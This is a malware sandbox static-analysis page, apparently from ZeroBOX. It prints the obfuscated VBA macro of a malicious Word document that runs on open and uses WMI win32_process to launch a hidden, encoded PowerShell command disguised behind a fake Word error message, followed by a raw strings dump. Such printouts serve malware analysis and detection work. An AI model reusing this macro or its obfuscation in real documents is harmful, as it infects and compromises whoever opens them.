popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "Xve8ndufgc_9jc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Jefohgvxm5h6sj4e
End Sub

Deobfuscated

                                        Attribute VB_Name = "Xve8ndufgc_9jc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Jefohgvxm5h6sj4e
End Sub

Original

                                        Attribute VB_Name = "Txsklj79jo0bkptd"

Deobfuscated

                                        Attribute VB_Name = "Txsklj79jo0bkptd"

Original

                                        Attribute VB_Name = "Qggrfagrepnzqkp"
Function Jefohgvxm5h6sj4e()
On Error Resume Next
mKbjhqs = Xve8ndufgc_9jc.StoryRanges.Item(4 / 4)
   GoTo sdsdH
Dim MoXwCF As Object
Set MoXwCF = CreateObject("Scripting.FileSystemObject")
Dim sdsdH As Object
Set sdsdH = MoXwCF.CreateTextFile("K:\kVHaAANGh\ClfHBDHA.rlSOPuI")
sdsdH.WriteLine " "
sdsdH.Close
Set MoXwCF = Nothing
Set sdsdH = Nothing
sdsdH:
snahbsd = "]e1r[Sp]e1r[S"
Odyzfux1z7gu54aqp = "]e1r[Sro]e1r[S]e1r[Sce]e1r[Ss]e1r[Ss]e1r[S]e1r[S"
   GoTo FqhmbMGP
Dim UTbGfBhD As Object
Set UTbGfBhD = CreateObject("Scripting.FileSystemObject")
Dim FqhmbMGP As Object
Set FqhmbMGP = UTbGfBhD.CreateTextFile("K:\VuGGHKCGv\agUPiFAVo.bjRDcx")
FqhmbMGP.WriteLine " "
FqhmbMGP.Close
Set UTbGfBhD = Nothing
Set FqhmbMGP = Nothing
FqhmbMGP:
Bf697o0nbxk = "]e1r[S:w]e1r[S]e1r[Sin]e1r[S3]e1r[S2]e1r[S_]e1r[S"
   GoTo EcoZABdE
Dim EDXsrFKH As Object
Set EDXsrFKH = CreateObject("Scripting.FileSystemObject")
Dim EcoZABdE As Object
Set EcoZABdE = EDXsrFKH.CreateTextFile("K:\gzTvUG\iCGQHA.ibLVdDEnJ")
EcoZABdE.WriteLine " "
EcoZABdE.Close
Set EDXsrFKH = Nothing
Set EcoZABdE = Nothing
EcoZABdE:
S9v0y8f9lrmq9d1y = "w]e1r[Sin]e1r[Sm]e1r[Sgm]e1r[St]e1r[S]e1r[S"
   GoTo kgEvB
Dim BLQBPB As Object
Set BLQBPB = CreateObject("Scripting.FileSystemObject")
Dim kgEvB As Object
Set kgEvB = BLQBPB.CreateTextFile("K:\SrHJyxHG\cPRPH.HbkyGx")
kgEvB.WriteLine " "
kgEvB.Close
Set BLQBPB = Nothing
Set kgEvB = Nothing
kgEvB:
Nocrizfrh8t = "]e1r[S" + Mid(Application.Name, 6, 1) + "]e1r[S"
   GoTo aExOLGGJ
Dim PaMukMFT As Object
Set PaMukMFT = CreateObject("Scripting.FileSystemObject")
Dim aExOLGGJ As Object
Set aExOLGGJ = PaMukMFT.CreateTextFile("K:\tipycs\cphmbeG.CrlPZEII")
aExOLGGJ.WriteLine " "
aExOLGGJ.Close
Set PaMukMFT = Nothing
Set aExOLGGJ = Nothing
aExOLGGJ:
Cclggtc8cdnjp7pm6 = S9v0y8f9lrmq9d1y + Nocrizfrh8t + Bf697o0nbxk + snahbsd + Odyzfux1z7gu54aqp
   GoTo YHuaHAG
Dim VKsAIB As Object
Set VKsAIB = CreateObject("Scripting.FileSystemObject")
Dim YHuaHAG As Object
Set YHuaHAG = VKsAIB.CreateTextFile("K:\hXiuH\NGKGFAGi.pUYmXwJG")
YHuaHAG.WriteLine " "
YHuaHAG.Close
Set VKsAIB = Nothing
Set YHuaHAG = Nothing
YHuaHAG:
U7_u1wvikg6edgsdbx = K3zbs9kfhhy_79283(Cclggtc8cdnjp7pm6)
   GoTo ksCnxCF
Dim HmyJDxX As Object
Set HmyJDxX = CreateObject("Scripting.FileSystemObject")
Dim ksCnxCF As Object
Set ksCnxCF = HmyJDxX.CreateTextFile("K:\PAGDIG\JlpxIC.OXgZBpF")
ksCnxCF.WriteLine " "
ksCnxCF.Close
Set HmyJDxX = Nothing
Set ksCnxCF = Nothing
ksCnxCF:
Set N0fncq0f4juk = CreateObject(U7_u1wvikg6edgsdbx)
   GoTo aNSmDFd
Dim BHVyAf As Object
Set BHVyAf = CreateObject("Scripting.FileSystemObject")
Dim aNSmDFd As Object
Set aNSmDFd = BHVyAf.CreateTextFile("K:\tWOlDI\cEZps.KkxLQHE")
aNSmDFd.WriteLine " "
aNSmDFd.Close
Set BHVyAf = Nothing
Set aNSmDFd = Nothing
aNSmDFd:
Fe6qkgw15uxvxj6 = Mid(mKbjhqs, (15 / 3), Len(mKbjhqs))
   GoTo bOtZav
Dim nJQOGADC As Object
Set nJQOGADC = CreateObject("Scripting.FileSystemObject")
Dim bOtZav As Object
Set bOtZav = nJQOGADC.CreateTextFile("K:\vohlC\RHzSNG.gagqBzGiC")
bOtZav.WriteLine " "
bOtZav.Close
Set nJQOGADC = Nothing
Set bOtZav = Nothing
bOtZav:
   GoTo MMzSt
Dim szoWHCGG As Object
Set szoWHCGG = CreateObject("Scripting.FileSystemObject")
Dim MMzSt As Object
Set MMzSt = szoWHCGG.CreateTextFile("K:\nkytj\EWKZIZ.ptGfRIeE")
MMzSt.WriteLine " "
MMzSt.Close
Set szoWHCGG = Nothing
Set MMzSt = Nothing
MMzSt:
N0fncq0f4juk.Create K3zbs9kfhhy_79283(Fe6qkgw15uxvxj6), Ryotjzx34lrmr, Vb3hxtbhcd9
   GoTo GvVnHyYHu
Dim vLYcFX As Object
Set vLYcFX = CreateObject("Scripting.FileSystemObject")
Dim GvVnHyYHu As Object
Set GvVnHyYHu = vLYcFX.CreateTextFile("K:\AzBnEH\RwqkBsz.iiJMk")
GvVnHyYHu.WriteLine " "
GvVnHyYHu.Close
Set vLYcFX = Nothing
Set GvVnHyYHu = Nothing
GvVnHyYHu:
   GoTo WqTUHqyB
Dim PMGKI As Object
Set PMGKI = CreateObject("Scripting.FileSystemObject")
Dim WqTUHqyB As Object
Set WqTUHqyB = PMGKI.CreateTextFile("K:\CFYJIIddE\hDuKQEq.MaNevF")
WqTUHqyB.WriteLine " "
WqTUHqyB.Close
Set PMGKI = Nothing
Set WqTUHqyB = Nothing
WqTUHqyB:
End Function
Function K3zbs9kfhhy_79283(Tby39q_rdio_)
On Error Resume Next
   GoTo IGZEFVBAH
Dim CMzgICo As Object
Set CMzgICo = CreateObject("Scripting.FileSystemObject")
Dim IGZEFVBAH As Object
Set IGZEFVBAH = CMzgICo.CreateTextFile("K:\asGVFE\kwSBVA.UhDeyVBl")
IGZEFVBAH.WriteLine " "
IGZEFVBAH.Close
Set CMzgICo = Nothing
Set IGZEFVBAH = Nothing
IGZEFVBAH:
Mzdqfrgsjpy6fcf = (Tby39q_rdio_)
   GoTo YvbSHGrWR
Dim LlNFMGCF As Object
Set LlNFMGCF = CreateObject("Scripting.FileSystemObject")
Dim YvbSHGrWR As Object
Set YvbSHGrWR = LlNFMGCF.CreateTextFile("K:\nHyHO\wOHsJsBx.DUnKFDLIa")
YvbSHGrWR.WriteLine " "
YvbSHGrWR.Close
Set LlNFMGCF = Nothing
Set YvbSHGrWR = Nothing
YvbSHGrWR:
S3yl6jmsfe0nv729_ = Cnt0qpf_e5r(Mzdqfrgsjpy6fcf)
   GoTo asLUgruG
Dim UBTknhIK As Object
Set UBTknhIK = CreateObject("Scripting.FileSystemObject")
Dim asLUgruG As Object
Set asLUgruG = UBTknhIK.CreateTextFile("K:\bIGuHGI\TWzFEph.uNitBnGBI")
asLUgruG.WriteLine " "
asLUgruG.Close
Set UBTknhIK = Nothing
Set asLUgruG = Nothing
asLUgruG:
K3zbs9kfhhy_79283 = S3yl6jmsfe0nv729_
   GoTo JELVJyCEq
Dim VdeYE As Object
Set VdeYE = CreateObject("Scripting.FileSystemObject")
Dim JELVJyCEq As Object
Set JELVJyCEq = VdeYE.CreateTextFile("K:\HbbucHB\wgDowZ.ViYov")
JELVJyCEq.WriteLine " "
JELVJyCEq.Close
Set VdeYE = Nothing
Set JELVJyCEq = Nothing
JELVJyCEq:
End Function
Function Cnt0qpf_e5r(L2cddi812by)
Low8fplhpil8xpocr = Dp8gpfdejcommw
   GoTo njqJBOnF
Dim wjIkwQq As Object
Set wjIkwQq = CreateObject("Scripting.FileSystemObject")
Dim njqJBOnF As Object
Set njqJBOnF = wjIkwQq.CreateTextFile("K:\FzdlfYEMA\WuQUPPI.qUHFGC")
njqJBOnF.WriteLine " "
njqJBOnF.Close
Set wjIkwQq = Nothing
Set njqJBOnF = Nothing
njqJBOnF:
Cnt0qpf_e5r = Replace(L2cddi812by, "]e1r[S", R4zb7dehlv1hdxg6z)
   GoTo QcPEEG
Dim RjzWMIIFE As Object
Set RjzWMIIFE = CreateObject("Scripting.FileSystemObject")
Dim QcPEEG As Object
Set QcPEEG = RjzWMIIFE.CreateTextFile("K:\OKdAI\aPdka.RluRIGDHl")
QcPEEG.WriteLine " "
QcPEEG.Close
Set RjzWMIIFE = Nothing
Set QcPEEG = Nothing
QcPEEG:
End Function

Deobfuscated

                                        Attribute VB_Name = "Qggrfagrepnzqkp"
Function Jefohgvxm5h6sj4e()
On Error Resume Next
mKbjhqs = Xve8ndufgc_9jc.StoryRanges.Item(4 / 4)
   GoTo sdsdH
Dim MoXwCF As Object
Set MoXwCF = CreateObject("Scripting.FileSystemObject")
Dim sdsdH As Object
Set sdsdH = MoXwCF.CreateTextFile("K:\kVHaAANGh\ClfHBDHA.rlSOPuI")
sdsdH.WriteLine " "
sdsdH.Close
Set MoXwCF = Nothing
Set sdsdH = Nothing
sdsdH:
snahbsd = "]e1r[Sp]e1r[S"
Odyzfux1z7gu54aqp = "]e1r[Sro]e1r[S]e1r[Sce]e1r[Ss]e1r[Ss]e1r[S]e1r[S"
   GoTo FqhmbMGP
Dim UTbGfBhD As Object
Set UTbGfBhD = CreateObject("Scripting.FileSystemObject")
Dim FqhmbMGP As Object
Set FqhmbMGP = UTbGfBhD.CreateTextFile("K:\VuGGHKCGv\agUPiFAVo.bjRDcx")
FqhmbMGP.WriteLine " "
FqhmbMGP.Close
Set UTbGfBhD = Nothing
Set FqhmbMGP = Nothing
FqhmbMGP:
Bf697o0nbxk = "]e1r[S:w]e1r[S]e1r[Sin]e1r[S3]e1r[S2]e1r[S_]e1r[S"
   GoTo EcoZABdE
Dim EDXsrFKH As Object
Set EDXsrFKH = CreateObject("Scripting.FileSystemObject")
Dim EcoZABdE As Object
Set EcoZABdE = EDXsrFKH.CreateTextFile("K:\gzTvUG\iCGQHA.ibLVdDEnJ")
EcoZABdE.WriteLine " "
EcoZABdE.Close
Set EDXsrFKH = Nothing
Set EcoZABdE = Nothing
EcoZABdE:
S9v0y8f9lrmq9d1y = "w]e1r[Sin]e1r[Sm]e1r[Sgm]e1r[St]e1r[S]e1r[S"
   GoTo kgEvB
Dim BLQBPB As Object
Set BLQBPB = CreateObject("Scripting.FileSystemObject")
Dim kgEvB As Object
Set kgEvB = BLQBPB.CreateTextFile("K:\SrHJyxHG\cPRPH.HbkyGx")
kgEvB.WriteLine " "
kgEvB.Close
Set BLQBPB = Nothing
Set kgEvB = Nothing
kgEvB:
Nocrizfrh8t = "]e1r[S" + Mid(Application.Name, 6, 1) + "]e1r[S"
   GoTo aExOLGGJ
Dim PaMukMFT As Object
Set PaMukMFT = CreateObject("Scripting.FileSystemObject")
Dim aExOLGGJ As Object
Set aExOLGGJ = PaMukMFT.CreateTextFile("K:\tipycs\cphmbeG.CrlPZEII")
aExOLGGJ.WriteLine " "
aExOLGGJ.Close
Set PaMukMFT = Nothing
Set aExOLGGJ = Nothing
aExOLGGJ:
Cclggtc8cdnjp7pm6 = S9v0y8f9lrmq9d1y + Nocrizfrh8t + Bf697o0nbxk + snahbsd + Odyzfux1z7gu54aqp
   GoTo YHuaHAG
Dim VKsAIB As Object
Set VKsAIB = CreateObject("Scripting.FileSystemObject")
Dim YHuaHAG As Object
Set YHuaHAG = VKsAIB.CreateTextFile("K:\hXiuH\NGKGFAGi.pUYmXwJG")
YHuaHAG.WriteLine " "
YHuaHAG.Close
Set VKsAIB = Nothing
Set YHuaHAG = Nothing
YHuaHAG:
U7_u1wvikg6edgsdbx = K3zbs9kfhhy_79283(Cclggtc8cdnjp7pm6)
   GoTo ksCnxCF
Dim HmyJDxX As Object
Set HmyJDxX = CreateObject("Scripting.FileSystemObject")
Dim ksCnxCF As Object
Set ksCnxCF = HmyJDxX.CreateTextFile("K:\PAGDIG\JlpxIC.OXgZBpF")
ksCnxCF.WriteLine " "
ksCnxCF.Close
Set HmyJDxX = Nothing
Set ksCnxCF = Nothing
ksCnxCF:
Set N0fncq0f4juk = CreateObject(U7_u1wvikg6edgsdbx)
   GoTo aNSmDFd
Dim BHVyAf As Object
Set BHVyAf = CreateObject("Scripting.FileSystemObject")
Dim aNSmDFd As Object
Set aNSmDFd = BHVyAf.CreateTextFile("K:\tWOlDI\cEZps.KkxLQHE")
aNSmDFd.WriteLine " "
aNSmDFd.Close
Set BHVyAf = Nothing
Set aNSmDFd = Nothing
aNSmDFd:
Fe6qkgw15uxvxj6 = Mid(mKbjhqs, (15 / 3), Len(mKbjhqs))
   GoTo bOtZav
Dim nJQOGADC As Object
Set nJQOGADC = CreateObject("Scripting.FileSystemObject")
Dim bOtZav As Object
Set bOtZav = nJQOGADC.CreateTextFile("K:\vohlC\RHzSNG.gagqBzGiC")
bOtZav.WriteLine " "
bOtZav.Close
Set nJQOGADC = Nothing
Set bOtZav = Nothing
bOtZav:
   GoTo MMzSt
Dim szoWHCGG As Object
Set szoWHCGG = CreateObject("Scripting.FileSystemObject")
Dim MMzSt As Object
Set MMzSt = szoWHCGG.CreateTextFile("K:\nkytj\EWKZIZ.ptGfRIeE")
MMzSt.WriteLine " "
MMzSt.Close
Set szoWHCGG = Nothing
Set MMzSt = Nothing
MMzSt:
N0fncq0f4juk.Create K3zbs9kfhhy_79283(Fe6qkgw15uxvxj6), Ryotjzx34lrmr, Vb3hxtbhcd9
   GoTo GvVnHyYHu
Dim vLYcFX As Object
Set vLYcFX = CreateObject("Scripting.FileSystemObject")
Dim GvVnHyYHu As Object
Set GvVnHyYHu = vLYcFX.CreateTextFile("K:\AzBnEH\RwqkBsz.iiJMk")
GvVnHyYHu.WriteLine " "
GvVnHyYHu.Close
Set vLYcFX = Nothing
Set GvVnHyYHu = Nothing
GvVnHyYHu:
   GoTo WqTUHqyB
Dim PMGKI As Object
Set PMGKI = CreateObject("Scripting.FileSystemObject")
Dim WqTUHqyB As Object
Set WqTUHqyB = PMGKI.CreateTextFile("K:\CFYJIIddE\hDuKQEq.MaNevF")
WqTUHqyB.WriteLine " "
WqTUHqyB.Close
Set PMGKI = Nothing
Set WqTUHqyB = Nothing
WqTUHqyB:
End Function
Function K3zbs9kfhhy_79283(Tby39q_rdio_)
On Error Resume Next
   GoTo IGZEFVBAH
Dim CMzgICo As Object
Set CMzgICo = CreateObject("Scripting.FileSystemObject")
Dim IGZEFVBAH As Object
Set IGZEFVBAH = CMzgICo.CreateTextFile("K:\asGVFE\kwSBVA.UhDeyVBl")
IGZEFVBAH.WriteLine " "
IGZEFVBAH.Close
Set CMzgICo = Nothing
Set IGZEFVBAH = Nothing
IGZEFVBAH:
Mzdqfrgsjpy6fcf = (Tby39q_rdio_)
   GoTo YvbSHGrWR
Dim LlNFMGCF As Object
Set LlNFMGCF = CreateObject("Scripting.FileSystemObject")
Dim YvbSHGrWR As Object
Set YvbSHGrWR = LlNFMGCF.CreateTextFile("K:\nHyHO\wOHsJsBx.DUnKFDLIa")
YvbSHGrWR.WriteLine " "
YvbSHGrWR.Close
Set LlNFMGCF = Nothing
Set YvbSHGrWR = Nothing
YvbSHGrWR:
S3yl6jmsfe0nv729_ = Cnt0qpf_e5r(Mzdqfrgsjpy6fcf)
   GoTo asLUgruG
Dim UBTknhIK As Object
Set UBTknhIK = CreateObject("Scripting.FileSystemObject")
Dim asLUgruG As Object
Set asLUgruG = UBTknhIK.CreateTextFile("K:\bIGuHGI\TWzFEph.uNitBnGBI")
asLUgruG.WriteLine " "
asLUgruG.Close
Set UBTknhIK = Nothing
Set asLUgruG = Nothing
asLUgruG:
K3zbs9kfhhy_79283 = S3yl6jmsfe0nv729_
   GoTo JELVJyCEq
Dim VdeYE As Object
Set VdeYE = CreateObject("Scripting.FileSystemObject")
Dim JELVJyCEq As Object
Set JELVJyCEq = VdeYE.CreateTextFile("K:\HbbucHB\wgDowZ.ViYov")
JELVJyCEq.WriteLine " "
JELVJyCEq.Close
Set VdeYE = Nothing
Set JELVJyCEq = Nothing
JELVJyCEq:
End Function
Function Cnt0qpf_e5r(L2cddi812by)
Low8fplhpil8xpocr = Dp8gpfdejcommw
   GoTo njqJBOnF
Dim wjIkwQq As Object
Set wjIkwQq = CreateObject("Scripting.FileSystemObject")
Dim njqJBOnF As Object
Set njqJBOnF = wjIkwQq.CreateTextFile("K:\FzdlfYEMA\WuQUPPI.qUHFGC")
njqJBOnF.WriteLine " "
njqJBOnF.Close
Set wjIkwQq = Nothing
Set njqJBOnF = Nothing
njqJBOnF:
Cnt0qpf_e5r = Replace(L2cddi812by, "]e1r[S", R4zb7dehlv1hdxg6z)
   GoTo QcPEEG
Dim RjzWMIIFE As Object
Set RjzWMIIFE = CreateObject("Scripting.FileSystemObject")
Dim QcPEEG As Object
Set QcPEEG = RjzWMIIFE.CreateTextFile("K:\OKdAI\aPdka.RluRIGDHl")
QcPEEG.WriteLine " "
QcPEEG.Close
Set RjzWMIIFE = Nothing
Set QcPEEG = Nothing
QcPEEG:
End Function
]e1r[S]e1r[Sc]e1r[Sm]e1r[Sd]e1r[S ]e1r[Sc]e1r[Sm]e1r[Sd]e1r[S ]e1r[Sc]e1r[Sm]e1r[Sd]e1r[S ]e1r[Sc]e1r[Sm]e1r[Sd]e1r[S ]e1r[S/]e1r[Sc]e1r[S ]e1r[Sm]e1r[Ss]e1r[Sg]e1r[S ]e1r[S%]e1r[Su]e1r[Ss]e1r[Se]e1r[Sr]e1r[Sn]e1r[Sa]e1r[Sm]e1r[Se]e1r[S%]e1r[S ]e1r[S/]e1r[Sv]e1r[S ]e1r[SW]e1r[So]e1r[Sr]e1r[Sd]e1r[S ]e1r[Se]e1r[Sx]e1r[Sp]e1r[Se]e1r[Sr]e1r[Si]e1r[Se]e1r[Sn]e1r[Sc]e1r[Se]e1r[Sd]e1r[S ]e1r[Sa]e1r[Sn]e1r[S ]e1r[Se]e1r[Sr]e1r[Sr]e1r[So]e1r[Sr]e1r[S ]e1r[St]e1r[Sr]e1r[Sy]e1r[Si]e1r[Sn]e1r[Sg]e1r[S ]e1r[St]e1r[So]e1r[S ]e1r[So]e1r[Sp]e1r[Se]e1r[Sn]e1r[S ]e1r[St]e1r[Sh]e1r[Se]e1r[S ]e1r[Sf]e1r[Si]e1r[Sl]e1r[Se]e1r[S.]e1r[S ]e1r[S&]e1r[S ]e1r[S ]e1r[SP]e1r[S^]e1r[SO]e1r[Sw]e1r[S^]e1r[Se]e1r[Sr]e1r[S^]e1r[Ss]e1r[Sh]e1r[Se]e1r[S^]e1r[SL]e1r[S^]e1r[SL]e1r[S ]e1r[S-]e1r[Sw]e1r[S ]e1r[Sh]e1r[Si]e1r[Sd]e1r[Sd]e1r[Se]e1r[Sn]e1r[S ]e1r[S-]e1r[SE]e1r[SN]e1r[SC]e1r[SO]e1r[SD]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S ]e1r[S cwB]e1r[SFAH]e1r[SQAI]e1r[SAAo]e1r[SAC
WxokxrfvikyUgomfzm3ek8xdgfMy5mzfuvt9atx8
"#23Rr
!$18BCFTbt
4569AQVWcqs
!"12AQRac
\)6]n_
s4iM|(D
Ziur,{)(
p\($Twa
v=0((q
UUU6eEE|
2mMDpq|S
WUG]_QY3
I<Ua~D
I<Ua~D
UokM.?
qPmiCLN1
CP)p],
/mE<?Q
iqZ8&G*
F:/dB;
'[+,xd
GSGc08L
{>WWGYm
?d4E45
X5&dtQ
JkfoK.
n6v's6
?$2KT?
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
z1Lmgs
}N2:os
c.miT/
'EQQ7m
JUkhx^
v6z)Ml
>%J|@{
I<Ua~D
I<Ua~D
M{&^,1O,
e]s<n9
WWIEQ_s
,O,x89
cn9cJR
;(-4|-
VpKvYh
C.>.eU
RPUV{$
\YR=i,y
X2;FYk
c@v9nG#
n?!5O{
gPqNlM2
G6n5x+
MOGW2g
t}npyJ
3;OQ2U
D~Nb_7+4
tD~^R\i(
oq=|ZF4
R]E>]c
_KQGY"]]5D
qs*mt2$L
[&\,s#
.{n4x%
*>#,7E
uDp-Y
)$\(j
%wFUQO
)Nvfyo
tD~^R_33;u
,[>B[F\
>%J|@{
I<Ua~D
I<Ua~D
wB<R\ns
>%J|@{
I<Ua~D
I<Ua~D
>%J|@{
I<Ua~D
I<Ua~D
>%J|@{
I<Ua~D
I<Ua~D
>%J|@{
I<Ua~D
I<Ua~D
Jsqs.@
WE5{Rr
%wQu[E
6C2e/"
6})M*],
|VRL~
YAQOQM
\YV=KC
8=^.>7
'FkoUU?[w
~?kN_>=
YQC*]
|muf+C
IQYU6\
)&/VG~
d3y7Fr
Yf%.-c.Z
.4?'t]
eAO/X%
xLGR,w\
GG._t6
S_SC2dp.
r~I2ml
dc.5r
aUv[W,
gM_288
l{j9?$
v=r\S[-
^4#L&cW
3:,7wL
?"\hK4d
[D5SInwm
3m7yuPH
lsfgt=
SG*gl*c
Ke%5=g(
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
e<R8*c
p&hA38
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Normal.dotm
Microsoft Office Word
Attribut
e VB_Nam
e = "Xve
8ndufgc_@9jc"
al.ThisD
ocument
V@Global
Creata
PredeHcla
BExpos
Templa
teDeriv
Customiz
q_open
hgvxm5h6
Attribut
e VB_Nam
e = "Txs
klj79jo0
bkptd"
]e1r[S:w]e1r[S]e1r[Sin]e1r[S3]e1r[S2]e1r[S_]e1r[S
Scripting.FileSystemObject$
K:\gzTvUG\iCGQHA.ibLVdDEnJ
w]e1r[Sin]e1r[Sm]e1r[Sgm]e1r[St]e1r[S]e1r[S
Scripting.FileSystemObject$
K:\SrHJyxHG\cPRPH.HbkyGx
]e1r[S
]e1r[S
Scripting.FileSystemObject$
K:\tipycs\cphmbeG.CrlPZEII
Scripting.FileSystemObject$
K:\hXiuH\NGKGFAGi.pUYmXwJG
Scripting.FileSystemObject$
K:\PAGDIG\JlpxIC.OXgZBpF
Scripting.FileSystemObject$
K:\tWOlDI\cEZps.KkxLQHE
Scripting.FileSystemObject$
K:\vohlC\RHzSNG.gagqBzGiC
Scripting.FileSystemObject$
K:\nkytj\EWKZIZ.ptGfRIeE
Scripting.FileSystemObject$
K:\AzBnEH\RwqkBsz.iiJMk
Scripting.FileSystemObject$
Scripting.FileSystemObject$
K:\kVHaAANGh\ClfHBDHA.rlSOPuI
]e1r[Sp]e1r[S
]e1r[Sro]e1r[S]e1r[Sce]e1r[Ss]e1r[Ss]e1r[S]e1r[S'
Scripting.FileSystemObject$
K:\VuGGHKCGv\agUPiFAVo.bjRDCFYJIIddE\hDuKQEq.MaNevF
Scripting.FileSystemObject$
K:\asGVFE\kwSBVA.UhDeyVBl
Scripting.FileSystemObject$
K:\nHyHO\wOHsJsBx.DUnKFDLIa
Scripting.FileSystemObject$
K:\bIGuHGI\TWzFEph.uNitBnGBI
Scripting.FileSystemObject$
K:\HbbucHB\wgDowZ.ViYov
Scripting.FileSystemObject$
K:\FzdlfYEMA\WuQUPPI.qUHFGC
]e1r[S
Scripting.FileSystemObject$
K:\OKdAI\aPdka.RluRIGDHl
Attribut
e VB_Nam
e = "Qgg
rfagrepn
unction
Jefohgvx
m5h6sj4e
rror Res
mKbjhqs
Xve8nduf
gc_9jc.S
toryRang
es.Item( 4 / 4
GoTo sd
MoXwCF
As Objec
= C reate
Scriptin
g.FileSy
("K:\kVH
aAANGh\C
lfHBDHA.
rlSOPuI
.WriteL
ine "
"]e`1r[Sp
dyzfux1z
7gu54aqp
Fqh mbMGPC\UT
bGfBhDMI
VuGGHKCG
v\agUPiF
AVo.bjRD
697o0nbx2k
EcoZABdE
ZEDXsrFK
ZgzTvUG \iCGQ
LVdDEnJ
-S9v0y
8f9lrmq9hd1y
,muC*g
,BLQ8BPB
SrHJyxHG
\cPRPH.H
zfrh8t
# + Mid
(Applica
(aEx OLGGJC)Pa
MukMFT
*tipycs\$cp@
lggtc8cd
njp7pm6
YHuaHAG
:\hXiuH\
NGKGFAGi
.pUYmXwJ
1wvikg6e@dgsdbxp
3zbs9kfh
hy_79283
PAGDIG\J
lpxIC.OX
gZBpF!
N0fncq
aNSmDFd
BHVyAf
:\tWOl
DI\cEZps
.KkxLQHE
gw15uxvx
3), Le
:\vohlC\
RHzSNG.g
agqBzGiC
%PMMzS
zoWHCG
nkytj\EW
KZIZ.ptG
fRIe2&
&Ryo@tjzx34
, Vb3hxt bhcd97QGv
VnHyYHu
vLYcFNQT
:\AzBnE
H\RwqkBs
z.iiJMk
H(WqTUHq
:\CFYJ
IIddE\hD
uKQEq.MaxNevRc
.Close
Set PMGK
I = Noth
WqTU0HqyB
End Fun
K3zbs9k
fhhy_792
83(Tby39
q_rdio_)
On Err
or Resum
e Next
GoTo
IGZEFVBA
MzgICo A
s Objec
= Crea
eSystem
:\asGVFE
\kwSBVA.
UhDeyVBl
.Write
Line " "
Mzdqfr
gsjpy6fc
YvbS HGrWR
NFMGCF
nHyHO\wO
HsJsBx.D
UnKFDLIa
SS3yl6
jmsfe0nv
0qpf_e5r
IGuHGI\T
WzFEph.u
NitBnGBI
ELVJyCEq
)VdeYE-
)HbbucHB
\wgDowZ.
ViYova(
)TL2cddi 812by
w8fplhpi
l8xpocr
Dp8gpfde@jcommwG.n
jqJBOnF#.
wjIkwQqM$?
.FzdlfY
EMA\WuQU
PPI.qUHF
eplace(H-
, "]e1r[
S", R4zb
7dehlv1h dxg6z
KdAI\aPd
ka.RluRI
Win64x
stdole
Normal
Office
Xve8ndufgc_9jc
_Evaluate
Document_open
Jefohgvxm5h6sj4e
Txsklj79jo0bkptd
Qggrfagrepnzqkp
mKbjhqs
StoryRanges
MoXwCF
CreateObject
CreateTextFile
WriteLinee
snahbsd
Odyzfux1z7gu54aqp
FqhmbMGP
UTbGfBhD
Bf697o0nbxk
EcoZABdE
EDXsrFKHb
S9v0y8f9lrmq9d1y
BLQBPB^
Nocrizfrh8t,
Application
aExOLGGJ2
PaMukMFT
Cclggtc8cdnjp7pm6
YHuaHAG
VKsAIBi
U7_u1wvikg6edgsdbxz
K3zbs9kfhhy_79283
ksCnxCF
HmyJDxX_
N0fncq0f4juk
aNSmDFd
BHVyAfq
Fe6qkgw15uxvxj6
bOtZava
nJQOGADC
MMzStr
szoWHCGG
Create
Ryotjzx34lrmr
Vb3hxtbhcd9
GvVnHyYHuoX
vLYcFX
WqTUHqyB
PMGKIM
Tby39q_rdio_
IGZEFVBAH
CMzgICob
Mzdqfrgsjpy6fcf&d
YvbSHGrWR
LlNFMGCF
S3yl6jmsfe0nv729_
Cnt0qpf_e5r.
asLUgruG
UBTknhIKo=
JELVJyCEq
L2cddi812by
Low8fplhpil8xpocr
Dp8gpfdejcommwO
njqJBOnF
wjIkwQq
Replacef
R4zb7dehlv1hdxg6z
QcPEEGj
RjzWMIIFE
Documentj
Normal.dotm
Microsoft Office Word
Alicia Guyot
Nathan Fontaine
programming Dynamic Refined Cotton Computer Outdoors, Music & Health real-time eyeballs indexing pixel redundant Chief Web Station THX bandwidth
ggrfagre
pnzqkpG
Xve8ndufgc_9jc
Txsklj79jo0bkptd
Qggrfagrepnzqkp
ID="{9985E685-5484-4B1F-8DD2-45BDD75DAF31}"
Document=Xve8ndufgc_9jc/&H00000000
Module=Txsklj79jo0bkptd
Module=Qggrfagrepnzqkp
ExeName32="Yra15vt84nei"
Name="mw"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="D0D225C329C329C329C329"
DPB="E1E314D915D915D9"
GC="F2F007F419F519F5E6"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
Xve8ndufgc_9jc=0, 0, 0, 0, C
Txsklj79jo0bkptd=52, 52, 1588, 805,
